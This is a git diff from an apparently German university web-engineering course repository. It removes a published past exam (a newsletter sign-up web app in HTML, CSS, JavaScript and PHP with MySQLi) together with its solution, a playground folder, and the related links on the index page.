-    <ul>	
-		<li><a href="Aufgabe/Klausur_WS22.pdf">Die Klausuraufgabe als PDF</a></li>
-        <li><a href="Aufgabe">Der Ordner "Aufgabe" mit den zugelieferten Dateien für Ihre Lösung der Klausuraufgabe</a></li>		
-        <li><a href="Aufgabe/Exam.php">Ihre Lösung der Aufgabe als Webanwendung (wenn Sie es gelöst haben)</a></li>
-		<li><a href="Loesung">Der Ordner "Loesung" mit der Lösung der Klausuraufgabe</a></li>
-        <li><a href="Loesung/index.php">Die Lösung der Aufgabe als Webanwendung</a></li>
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Klausuren/23SS/Aufgabe/.gitignore b/src/Klausuren/23SS/Aufgabe/.gitignore
deleted file mode 100644
index 547b09e442e036033d5c77c4fca32ada86003b5f..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/Aufgabe/.gitignore
+++ /dev/null
@@ -1,113 +0,0 @@
-#
-# Project specific excludes
-#
-
-tomcat
-
-#
-# Default excludes
-#
-
-# Binaries
-*.7z
-*.dmg
-*.gz
-*.iso
-*.jar
-*.rar
-*.tar
-*.war
-*.ear
-*.sar
-*.class
-
-# Maven 
-target/
-
-# IntelliJ project files 
-*.iml
-*.iws
-*.ipr
-.idea/
-
-# eclipse project file
-.settings/
-.classpath
-.project
-
-# NetBeans specific
-nbproject/private/
-build/
-nbbuild/
-dist/
-nbdist/
-nbactions.xml
-nb-configuration.xml
-
-
-# OS
-.DS_Store
-
-# Misc
-*.swp
-release.properties
-pom.xml.releaseBackup
-pom.xml.tag
-
-# Microsoft Code
-.vscode/*
-!.vscode/settings.json
-!.vscode/tasks.json
-!.vscode/launch.json
-!.vscode/extensions.json
-*.code-workspace
-
-# Local History for Visual Studio Code
-.history/
-
-# Logs and databases #
-######################
-*.log
-*.sqlite
- 
-# OS generated files #
-######################
-.DS_Store?
-ehthumbs.db
-Icon?
-Thumbs.db
-*.DS_Store
- 
-# Xcode
-*.pbxuser
-*.mode1v3
-*.mode2v3
-*.perspectivev3
-*.xcuserstate
-project.xcworkspace/
-xcuserdata/
- 
- 
-# IDE
-*.idea
-*.iml
- 
-# Generated files
-/web-app/WEB-INF
-build/
-*.[oa]
-*.pyc
- 
-# Other source repository archive directories (protects when importing)
-.hg
-.svn
-CVS
- 
-# automatic backup files
-*~.nib
-*.swp
-*~
-*(Autosaved).rtfd/
-Backup[ ]of[ ]*.pages/
-Backup[ ]of[ ]*.key/
-Backup[ ]of[ ]*.numbers/
\ No newline at end of file
diff --git a/src/Klausuren/23SS/Aufgabe/_23SS_Klausur_EWA.pdf b/src/Klausuren/23SS/Aufgabe/_23SS_Klausur_EWA.pdf
deleted file mode 100644
index 8f65b31d07033d38cb3e2c553a1f93ee17eea544..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/23SS/Aufgabe/_23SS_Klausur_EWA.pdf and /dev/null differ
diff --git a/src/Klausuren/23SS/Aufgabe/_Exam23_Zulieferung.zip b/src/Klausuren/23SS/Aufgabe/_Exam23_Zulieferung.zip
deleted file mode 100644
index b3c12398969f53bd522ff3dc1301d1bb6a9e81e6..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/23SS/Aufgabe/_Exam23_Zulieferung.zip and /dev/null differ
diff --git a/src/Klausuren/23SS/Aufgabe/__Readme.txt b/src/Klausuren/23SS/Aufgabe/__Readme.txt
deleted file mode 100644
index 230a2d777d0a74ed35337a81dce172c740179196..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/Aufgabe/__Readme.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-Dieser Ordner enthält die Dateien, die zum Zeitpunkt der Klausur verteilt wurden (Aufgabe und Zulieferung mit SQL-Skript).
-Das SQL-Skript ist in diesem Docker-Setup bereits importiert und muss (im Gegensatz zur Klausur) nicht erneut importiert werden.
-
-In diesem Verzeichnis können Sie die alte Klausur als Probeklausur zur Vorbereitung lösen. Kopieren Sie einfach die Dateien aus der Zulieferungsdatei in dieses Verzeichnis und legen sie los!
\ No newline at end of file
diff --git a/src/Klausuren/23SS/Loesung/.gitignore b/src/Klausuren/23SS/Loesung/.gitignore
deleted file mode 100644
index 547b09e442e036033d5c77c4fca32ada86003b5f..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/Loesung/.gitignore
+++ /dev/null
@@ -1,113 +0,0 @@
-#
-# Project specific excludes
-#
-
-tomcat
-
-#
-# Default excludes
-#
-
-# Binaries
-*.7z
-*.dmg
-*.gz
-*.iso
-*.jar
-*.rar
-*.tar
-*.war
-*.ear
-*.sar
-*.class
-
-# Maven 
-target/
-
-# IntelliJ project files 
-*.iml
-*.iws
-*.ipr
-.idea/
-
-# eclipse project file
-.settings/
-.classpath
-.project
-
-# NetBeans specific
-nbproject/private/
-build/
-nbbuild/
-dist/
-nbdist/
-nbactions.xml
-nb-configuration.xml
-
-
-# OS
-.DS_Store
-
-# Misc
-*.swp
-release.properties
-pom.xml.releaseBackup
-pom.xml.tag
-
-# Microsoft Code
-.vscode/*
-!.vscode/settings.json
-!.vscode/tasks.json
-!.vscode/launch.json
-!.vscode/extensions.json
-*.code-workspace
-
-# Local History for Visual Studio Code
-.history/
-
-# Logs and databases #
-######################
-*.log
-*.sqlite
- 
-# OS generated files #
-######################
-.DS_Store?
-ehthumbs.db
-Icon?
-Thumbs.db
-*.DS_Store
- 
-# Xcode
-*.pbxuser
-*.mode1v3
-*.mode2v3
-*.perspectivev3
-*.xcuserstate
-project.xcworkspace/
-xcuserdata/
- 
- 
-# IDE
-*.idea
-*.iml
- 
-# Generated files
-/web-app/WEB-INF
-build/
-*.[oa]
-*.pyc
- 
-# Other source repository archive directories (protects when importing)
-.hg
-.svn
-CVS
- 
-# automatic backup files
-*~.nib
-*.swp
-*~
-*(Autosaved).rtfd/
-Backup[ ]of[ ]*.pages/
-Backup[ ]of[ ]*.key/
-Backup[ ]of[ ]*.numbers/
\ No newline at end of file
diff --git a/src/Klausuren/23SS/Loesung/Exam23.css b/src/Klausuren/23SS/Loesung/Exam23.css
deleted file mode 100644
index af4fa4bb0f5f00ed4c02671c7e12986fa7375c45..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/Loesung/Exam23.css
+++ /dev/null
@@ -1,48 +0,0 @@
-footer {
-  padding: 0.5 em;
-  font-size: larger;
-}
-
-main {
-  padding: 0.5em;
-}
-
-nav {
-  padding: 0.5em;
-}
-
-/********************* Erwartete CSS-Elemente ***************/
-
-header, footer {
-  border: 0.1em solid black;
-  background-color: lightgray;
-  text-align: center;
-}
-
-main {
-  display: flex;
-  flex-direction: row;
-  justify-content: space-between;
-}
-
-nav {
-  border: 0.1em solid black;
-}
-
-nav a {
-  display: block;
-}
-
-label {
-  width: 4em;
-  display:inline-block;
-}
-
-@media only screen and (max-width: 800px) {
-  main {
-    flex-direction: column;
-  }
-  nav a {
-    display: inline-block;
-  }
-}
diff --git a/src/Klausuren/23SS/Loesung/Exam23.html b/src/Klausuren/23SS/Loesung/Exam23.html
deleted file mode 100644
index 0e8502309eba9bcb119fc42a76887d8539172fae..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/Loesung/Exam23.html
+++ /dev/null
@@ -1,60 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-  <head>
-    <meta charset="utf-8" />
-    <title>OPIs Baumarkt</title>
-    <script src="Exam23.js"></script>
-    <link rel="stylesheet" type="text/css" href="Exam23.css" />
-  </head>
-  <body>
-    <header>
-      <h1>OPI's Baumarkt</h1>
-    </header>
-    <main>
-      <nav id="navigation" role="navigation">
-        <a href="#">Ãœbersicht</a>
-        <a href="#">Bauen</a>
-        <a href="#">Garten</a>
-        <a href="#">Tiergarten</a>
-      </nav>
-      <section>
-        <h2>Summer Special "Haustiere"</h2>
-        <p>Wissenswertes zu unseren Lieblingen...</p>
-      </section>
-
-      <section>
-        <h2>Newsletter</h2>
-        <div id="newsletter_form">
-          <p>Hier können Sie sich für den Newsletter anmelden:</p>
-          <form method="post" action="Exam23Api.php" accept-charset="UTF-8">
-            <fieldset>
-              <legend>Anmeldung</legend>
-              <div class="input">
-                <label for="input_name">Name:</label>
-                <input type="text" required name="name" value="" id="input_name" />
-              </div>
-              <div class="input">
-                <label for="input_email">E-Mail:</label>
-                <input type="email" required name="email" id="input_email" />
-              </div>
-              <input type="submit" value="absenden" />
-              <input
-                type="button"
-                onclick="sendData();"
-                value="absenden via Ajax"
-              />
-            </fieldset>
-          </form>
-        </div>
-        <div>
-          <p id="newsletter_response"></p>
-        </div>
-      </section>
-    </main>
-
-    <footer>
-      Bei zwei linken Händen sollten Sie lieber in den gelben Seiten
-      nachschauen.
-    </footer>
-  </body>
-</html>
diff --git a/src/Klausuren/23SS/Loesung/Exam23.js b/src/Klausuren/23SS/Loesung/Exam23.js
deleted file mode 100644
index 4686914c0b8f86d3860483e51e54685b4831079e..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/Loesung/Exam23.js
+++ /dev/null
@@ -1,67 +0,0 @@
-"use strict";
-let request = new XMLHttpRequest();
-
-function processData() {
-  "use strict";
-  if (request.readyState === 4) {
-    // Uebertragung = DONE
-    if (request.status === 200) {
-      // HTTP-Status = OK
-      if (request.responseText != null) {
-        processResponse(request.responseText); // Daten verarbeiten
-      } else console.error("Dokument ist leer");
-    } else console.error("Uebertragung fehlgeschlagen");
-  } // else; // Uebertragung laeuft noch
-}
-
-function sendRequest(RequestMethod, RequestUri, RequestPostData) {
-    "use strict";
-    if ((RequestMethod!=="") && (RequestUri!=="")) {
-
-        console.log("Sending a " + RequestMethod + "-Request opening the URI: " + RequestUri + " with Post-data: " + RequestPostData);
-
-        request.open(RequestMethod, RequestUri);
-        request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // otherwise POST is not working as expected!
-        request.onreadystatechange = processData;
-        request.send(RequestPostData);
-    }
-}
-
-// ********************** Ende der Zulieferung ********************************/
-
-function sendData() {
-  "use strict";
-  let nameField = document.getElementById("input_name");
-  let emailField = document.getElementById("input_email");
-  
-  if (nameField.checkValidity() && emailField.checkValidity()) {
-    let email = emailField.value;  
-    let name = nameField.value;
-    
-    // Not expected: Encode name to avoid problems with names like Müller&Söhne
-    name = encodeURIComponent(name);  
-
-    let PostData = "name="+name+"&email="+email;
-
-    sendRequest("POST", "Exam23Api.php", PostData);
-  } else {
-    console.log("invalid form data");
-    nameField.reportValidity();
-    emailField.reportValidity();
-    return false;
-  }
-  return true;
-}
-
-
-function processResponse(jsonData) {
-  "use strict";
-  let dataObject = JSON.parse(jsonData);
-  if (dataObject.name && dataObject.email) {
-    let form = document.getElementById("newsletter_form");
-    form.textContent = "";
-    
-    let response = document.getElementById("newsletter_response");
-    response.textContent = `Vielen Dank, ${dataObject.name}, dass Sie unseren Newsletter abonniert haben. Dieser wird an folgende Mailadresse geschickt werden: ${dataObject.email}`;
-  }
-}
diff --git a/src/Klausuren/23SS/Loesung/Exam23Api.php b/src/Klausuren/23SS/Loesung/Exam23Api.php
deleted file mode 100644
index 76635f44870caf0d99fc5bb6fd8c9a16148c93a4..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/Loesung/Exam23Api.php
+++ /dev/null
@@ -1,81 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-require_once './Page.php';
-
-class Exam23Api extends Page
-{
-    private string $name = "";
-    private string $email = "";
-    protected function __construct()
-    {
-        parent::__construct();
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    protected function getViewData():array
-    {
-        $result = array();
-        $result["name"] = $this->name;
-        $result["email"] = $this->email;
-        return $result;
-    }
-
-    protected function generateView():void
-    {
-		$data = $this->getViewData();
-		header("Content-Type: application/json; charset=UTF-8");
-        $serializedData = json_encode($data);
-        echo $serializedData;
-    }
-
-    protected function processReceivedData():void
-    {
-        if (isset($_POST['name']) && isset($_POST['email'])) {
-            $this->name = $this->database->real_escape_string($_POST['name']);
-            $this->email = $this->database->real_escape_string($_POST['email']);
-            if (!$this->name) {
-                throw new Exception("Name fehlt");
-            }
-            if (!$this->email) {
-                throw new Exception("Email fehlt");
-            }
-            if (!filter_var($this->email, FILTER_VALIDATE_EMAIL)) {
-                throw new Exception("ungueltige Emailadresse");
-            }
-            $ok = $this->database->query("INSERT INTO anmeldung (kunden_name, kunden_email) VALUES ('$this->name', '$this->email');");
-            if (!$ok) {
-                throw new Exception("Fehler bei Insert");
-            }
-
-        }
-    }
-
-    public static function main():void
-    {
-        try {
-            $page = new Exam23Api();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/html; charset=UTF-8");
-            header("Content-Type: application/json; charset=UTF-8");
-            echo json_encode($e->getMessage());
-        }
-    }
-}
-
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-Exam23Api::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/23SS/Loesung/Page.php b/src/Klausuren/23SS/Loesung/Page.php
deleted file mode 100644
index d30bc6e2159cacd5d94532faa05f126e7e182117..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/Loesung/Page.php
+++ /dev/null
@@ -1,55 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-
-abstract class Page
-{
-    /**
-     * Reference to the MySQLi-Database that can be used
-     * by all operations of the class or inherited classes.
-     */
-    protected MySQLi $database;
-
-    /**
-     * Connects to DB and stores the connection in member $database.
-     * Needs name of DB, user, password.
-     */
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-
-        $host = "localhost";
-        /********************************************/
-        // This code switches from the the local installation (XAMPP) to the docker installation
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        /********************************************/
-
-        $this->database = new MySQLi($host, "public", "public", "2023_NewsletterOPI"); //NOSONAR ignore hardcoded password
-
-        if ($this->database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->database->connect_errno);
-        }
-
-        // set charset to UTF8!!
-        if (!$this->database->set_charset("utf8")) {
-            throw new Exception($this->database->error);
-        }
-    }
-
-    /**
-     * Closes the DB connection and cleans up
-     */
-    public function __destruct()
-    {
-        $this->database->close();
-    }
-
-
-    protected function processReceivedData():void
-    {
-
-    }
-} // end of class
-
-//? >
diff --git a/src/Klausuren/23SS/index.php b/src/Klausuren/23SS/index.php
deleted file mode 100644
index f0bdedab5c18bac6563824992dd5c4210b7da073..0000000000000000000000000000000000000000
--- a/src/Klausuren/23SS/index.php
+++ /dev/null
@@ -1,29 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausur 2023</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausur im Sommersemester 2023</h1>
-	<p>
-		Seit Sommersemester 2021 wird die EWA-Klausur am Rechner geschrieben und über GitLab abgegeben.
-		Deshalb gibt es hier 2 Verzeichnisse: 
-    <ol>
-    <li>Das Verzeichnis <em>Aufgabe</em> mit den Dateien wie sie 
-		in der Klausur bereitgestellt wurden und </li>
-    <li>das Verzeichnis <em>Loesung</em> mit einer Lösung der Aufgabe.</li>
-	</p>
-</header>
-<main>
-    <ul>	
-		<li><a href="Aufgabe/_23SS_Klausur_EWA.pdf">Die Klausuraufgabe als PDF</a></li>
-        <li><a href="Aufgabe">Der Ordner "Aufgabe" mit den zugelieferten Dateien für Ihre Lösung der Klausuraufgabe</a></li>		
-        <li><a href="Aufgabe/Exam23.html">Ihre Lösung der Aufgabe als Webanwendung (wenn Sie es gelöst haben)</a></li>	
-		<li><a href="Loesung">Der Ordner "Loesung" mit der Lösung der Klausuraufgabe</a></li>
-        <li><a href="Loesung/Exam23.html">Die Lösung der Aufgabe als Webanwendung</a></li>
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Klausuren/index.php b/src/Klausuren/index.php
deleted file mode 100644
index 20ea52bd307016fc729386eb2f6567818f241cf7..0000000000000000000000000000000000000000
--- a/src/Klausuren/index.php
+++ /dev/null
@@ -1,24 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausuren</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausuren</h1>
-</header>
-<main>
-    <ul>
-        <li><a href="17SS/index.php">Klausur im Sommersemester 2017 (Quizmeister)</a></li>
-        <li><a href="18SS/index.php">Klausur im Sommersemester 2018 (Wohnzimmer-Deko)</a></li>
-        <li><a href="19SS/index.php">Klausur im Sommersemester 2019 (Nutzerfreundliche Formulare) </a></li>
-        <li><a href="20SS/index.php">Klausur im Sommersemester 2020 (News-Ticker)</a></li>
-		<li><a href="21SS/index.php">Klausur im Sommersemester 2021 - Erste Klausur am Rechner (Sportverein)</a></li>
-		<li><a href="22SS/index.php">Klausur im Sommersemester 2022 - Präsenzklausur am Rechner (Leichte Sprache)</a></li>
-        <li><a href="22WS/index.php">Klausur im Wintersemester 2022(Hofmann) - Präsenzklausur am Rechner (H_DA Chatbot)</a></li>
-    <li><a href="23SS/index.php">Klausur im Sommersemester 2023 - Präsenzklausur am Rechner (OPIs Baumarkt)</a></li>
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Playground/.gitkeep b/src/Playground/.gitkeep
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/src/Playground/content.php b/src/Playground/content.php
deleted file mode 100644
index 2259a3fbbf1e4096969b22ebe0eaf81e671a4d64..0000000000000000000000000000000000000000
--- a/src/Playground/content.php
+++ /dev/null
@@ -1,13 +0,0 @@
-<?php
-
-class Content
-{
-    function login() {
-
-        echo <<< HTML
-            <h1>BLUB</h1>
-        HTML;
-    }
-}
-
-?>
\ No newline at end of file
diff --git a/src/Playground/index.php b/src/Playground/index.php
deleted file mode 100644
index da2a6ddaf1b6e910da3157dc887433db946250f8..0000000000000000000000000000000000000000
--- a/src/Playground/index.php
+++ /dev/null
@@ -1,21 +0,0 @@
-<?php
-    include("content.php");
-
-    $content = new Content();
-?>
-
-<!DOCTYPE html>
-<html lang="de">
-    <head>
-        <meta charset="UTF-8">
-        <title>Test</title>
-    </head>
-    <body>
-        <nav>
-
-        </nav>
-
-        <?php $content->login(); ?>
-
-    </body>
-</html>
\ No newline at end of file
diff --git a/src/index.php b/src/index.php
index 79caeed3ea6419e3176236943779b27d62cd4600..b2d38a45f7f32ca9b0bc74dbc07e0317844a9f7f 100644
--- a/src/index.php
+++ b/src/index.php
@@ -8,12 +8,6 @@ if (is_dir("Praktikum")) {
     $Prak = "<a class=\"flex-item\" href=\"./Praktikum\">Praktikum</a>";
 }
 
-$Exam="";
-$ExamInfo="";
-if (is_dir("Exam")) {
-    $ExamInfo="<li><strong>Use the folder Exam (located in src/Exam) for your solution of the examination. Do not use any other folder!</strong></li>";
-    $Exam = "<a class=\"flex-item flex-item--warning\" href=\"./Exam\">Klausur</a>";
-}
 
 echo <<<HTML
 <!DOCTYPE html>
@@ -31,26 +25,14 @@ echo <<<HTML
 <main>
     <ul>
         <li>This is the content of the file 'index.php' in the folder <b>'src'</b>!</li>
-        <li>For older examinations you may have a look in the <b>Klausuren</b> folder</li>
-        <li>Many good examples are located in <b>Demos</b></li>
-        <li>Play around in the <b>Playground</b> folder</li>
         $PrakInfo
-        <li>Use the <b>Exam_Probe</b> folder for our exam test run</li>
-        $ExamInfo
     </ul>
     <h2>Navigation</h2>
-    <div class="flex-container">
-        <a href="./Demos" class="flex-item">Demos</a>
-        <a href="./Klausuren" class="flex-item">Altklausuren</a>
-    </div>
+    
     <div class="flex-container">
         $Prak
-        <a href="./Playground" class="flex-item">Spielwiese</a>
-    </div>
-    <div class="flex-container">
-        <a href="./Exam_Probe" class="flex-item">Probeklausur</a>
-        $Exam
     </div>
+    
 </main>
 </body>
 </html>